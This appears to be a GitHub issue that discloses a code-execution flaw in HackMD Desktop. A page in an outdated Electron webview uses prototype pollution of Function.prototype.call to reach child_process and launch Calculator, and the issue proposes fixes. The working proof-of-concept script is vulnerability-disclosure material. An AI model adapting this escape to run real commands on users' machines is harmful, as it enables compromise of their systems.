You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
hackmd desktop use an old version of electron, in which we can use prototype pollution to get node ability back in webviews without nodeintegration.
poc:
<ahref="http://127.0.0.1/gg.html">click me</a>
here is source code of gg.html
<script>Function.prototype.call2=Function.prototype.call;Function.prototype.call=function(...args){if(args[0]!=null&&args[0]!=undefined&&args[0].env!=undefined){Function.prototype.call=Function.prototype.call2;args[0].mainModule.require('child_process').exec('open -a Calculator');}returnthis.call2(...args)}location.reload();</script>
when click on it we can get a Calculator on mac.
suggestions:
open external links in system's browser
update electron
add contextisolation.
The text was updated successfully, but these errors were encountered:
hackmd desktop use an old version of electron, in which we can use prototype pollution to get node ability back in webviews without nodeintegration.
poc:
here is source code of
gg.html
when click on it we can get a Calculator on mac.
suggestions:
The text was updated successfully, but these errors were encountered: